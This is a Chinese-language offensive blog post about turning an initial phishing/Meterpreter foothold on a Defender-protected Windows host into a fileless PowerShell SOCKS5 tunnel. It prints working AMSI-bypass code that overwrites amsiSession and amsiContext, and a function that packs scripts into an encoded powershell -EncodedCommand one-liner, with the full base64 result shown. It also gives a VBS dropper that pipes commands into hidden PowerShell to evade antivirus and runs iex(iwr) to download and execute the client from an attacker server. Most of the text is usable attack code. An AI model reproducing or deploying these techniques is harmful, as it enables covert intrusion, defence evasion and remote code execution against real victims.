背景
目前是通过meterpreter加壳免杀马+钓鱼拿到了基础权限,但是对方开启了windows defender。上传的所有的包括frp.exe chisel.exe ngrok.exe的工具都会直接被杀,所以就有了这篇文章
思路
借鉴了chisel的设计,具体流程图如下
为啥采用powerhsell作为内穿接口呢?因为PowerShell 可以直接操作内存,适合执行无文件攻击和反检测操作。如果我编写一个免杀的frpc版本,只要上传病毒库就会让我们前功尽弃,但是如果是利用powershell直接远程将代码写入内存,杀软就会查个寂寞。外加powershell支持.net的线程库,所以性能也过得去。最后在攻击者的vps上用server.py接受,并且转发成socks5服务器,即可使用了
代码实现
目前只实现了socks5转发,后续会实现动态转发和端口映射👇
Cscript-Null/powerchisel
用法:
python rev_ss5_server.py
然后在客户端(受害机器)修改powerhsell脚本数据后
.\rev_ss5_client.ps1
就可以了
如果真有那么简单就好了
真实环境的杀软对抗
远程加载
为了从内存中加载,我们选择使用👇
iex (iwr -Uri "https://<VPS>/rev_ss5_client.ps1" -UseBasicParsing)
加载,但是会被AMSI拦截。
于是我们要绕过AMSI
绕过AMSI
如果我们能够在AMSI中强制执行使得报错,那么将处罚内部属性amsiInitField,并且AMSI不会被调用唤起。
只需要在前面加上这样代码
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076) # allocate some memory
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null) # overwrite `amsiSession`
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem) # overwrite `amsiContext`
Write-host -ForegroundColor green "AMSI won't be called anymore"
就行了
但是在真实环境中我们大多数时候拿到的是半交互shell,所以最好写成一行代码例如使用一下代码生成函数
function Convert-ToEncodedCommand {
<#
.SYNOPSIS
将 PowerShell 脚本转换为 Base64 编码,并支持生成完整的执行命令。
.DESCRIPTION
该函数读取指定的脚本文件内容,将其转换为 UTF-16LE 编码的 Base64 字符串。
可以选择输出 Base64 编码的结果,或者生成包含 `powershell.exe -EncodedCommand` 的完整执行命令。
.PARAMETER ScriptPath
要转换的 PowerShell 脚本文件路径。
.PARAMETER OutputMode
指定输出模式:
- "Base64":仅输出 Base64 编码的字符串。
- "Command":输出完整的执行命令(powershell.exe -EncodedCommand <Base64>)。
.EXAMPLE
Convert-ToEncodedCommand -ScriptPath "script.ps1" -OutputMode "Base64"
仅输出 Base64 编码的字符串。
.EXAMPLE
Convert-ToEncodedCommand -ScriptPath "script.ps1" -OutputMode "Command"
输出完整的执行命令。
#>
[CmdletBinding()]
param (
# 脚本路径
[Parameter(Mandatory)]
[string]$ScriptPath,
# 输出模式:Base64 或 Command
[Parameter(Mandatory)]
[ValidateSet("Base64", "Command")]
[string]$OutputMode
)
# 检查脚本文件是否存在
if (-not (Test-Path -Path $ScriptPath)) {
throw "指定的脚本文件不存在:$ScriptPath"
}
try {
# 读取脚本内容
$scriptContent = Get-Content -Path $ScriptPath -Raw
# 转换为 UTF-16LE 字节数组
$bytes = [System.Text.Encoding]::Unicode.GetBytes($scriptContent)
# 转换为 Base64 编码字符串
$base64Command = [Convert]::ToBase64String($bytes)
# 根据输出模式返回结果
switch ($OutputMode) {
"Base64" {
# 输出 Base64 编码字符串
Write-Output $base64Command
}
"Command" {
# 生成完整的执行命令
$encodedCommand = "powershell.exe -EncodedCommand $base64Command"
Write-Output $encodedCommand
}
}
} catch {
Write-Error "发生错误:$_"
}
}
结果
powershell.exe -EncodedCommand JABtAGUAbQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAcwBoAGEAbABdADoAOgBBAGwAbABvAGMASABHAGwAbwBiAGEAbAAoADkAMAA3ADYAKQANAAoAWwBSAGUAZgBdAC4AQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACIAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAYQBtAHMAaQBTAGUAcwBzAGkAbwBuACIALAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQAgAA0ACgBbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAIgBTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AQQBtAHMAaQBVAHQAaQBsAHMAIgApAC4ARwBlAHQARgBpAGUAbABkACgAIgBhAG0AcwBpAEMAbwBuAHQAZQB4AHQAIgAsACIATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAiACkALgBTAGUAdABWAGEAbAB1AGUAKAAkAG4AdQBsAGwALAAgAFsASQBuAHQAUAB0AHIAXQAkAG0AZQBtACkAIAANAAoAVwByAGkAdABlAC0AaABvAHMAdAAgAC0ARgBvAHIAZQBnAHIAbwB1AG4AZABDAG8AbABvAHIAIABnAHIAZQBlAG4AIAAiAEEATQBTAEkAIAB3AG8AbgAnAHQAIABiAGUAIABjAGEAbABsAGUAZAAgAGEAbgB5AG0AbwByAGUAIgANAAoAaQBlAHgAIAAoAGkAdwByACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAzADkALgAxADkAOQAvAHIAZQB2AF8AcwBzADUAXwBjAGwAaQBlAG4AdAAuAHAAcwAxACIAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkADQAKAA==
但是在大多数情况下,直接使用powershell -Encodedcommand
会直接给杀软拦截,
绕过杀软控制检测
所以说我们可以使用vbs脚本结合原生的COM组件调用Powershell结合输入输出流来实现模拟用户输入,从而绕过杀软
' 创建 WScript.Shell 对象
Set objShell = CreateObject("WScript.Shell")
' 启动隐藏的 PowerShell 进程
' 使用 cmd /c 的方式启动 PowerShell 并隐藏窗口
Set objExec = objShell.Exec("cmd /c powershell -NoProfile -Command -")
' 定义要执行的 PowerShell 命令
powershellCommand = "$mem=[System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076);"
powershellCommand = powershellCommand & "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiSession','NonPublic,Static').SetValue($null,$null);"
powershellCommand = powershellCommand & "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext','NonPublic,Static').SetValue($null,[IntPtr]$mem);"
powershellCommand = powershellCommand & "Write-Host -ForegroundColor green 'AMSI won''t be called anymore';"
powershellCommand = powershellCommand & "iex (iwr -Uri 'http://192.168.239.199/rev_ss5_client.ps1' -UseBasicParsing)"
' 将命令写入 PowerShell 的标准输入流
objExec.StdIn.WriteLine powershellCommand
objExec.StdIn.WriteLine "exit" ' 让 PowerShell 进程结束输入流
objExec.StdIn.Close
' 读取并输出 PowerShell 的标准输出(可选,用于调试)
Do Until objExec.StdOut.AtEndOfStream
output = objExec.StdOut.ReadLine
' 输出到文件或日志(隐藏窗口时无法直接显示)
LogOutput output
Loop
' 读取并输出 PowerShell 的标准错误(可选,用于调试)
Do Until objExec.StdErr.AtEndOfStream
errorOutput = objExec.StdErr.ReadLine
LogOutput "Error: " & errorOutput
Loop
' 日志记录函数(可选)
Sub LogOutput(message)
' 将输出写入日志文件
Set fso = CreateObject("Scripting.FileSystemObject")
Set logFile = fso.OpenTextFile("output.log", 8, True) ' 8 表示追加模式
logFile.WriteLine Now & " - " & message
logFile.Close
End Sub
直接在攻击机上上传这个vbs并且在VPS搭建HTTP文件服务器用于传输即可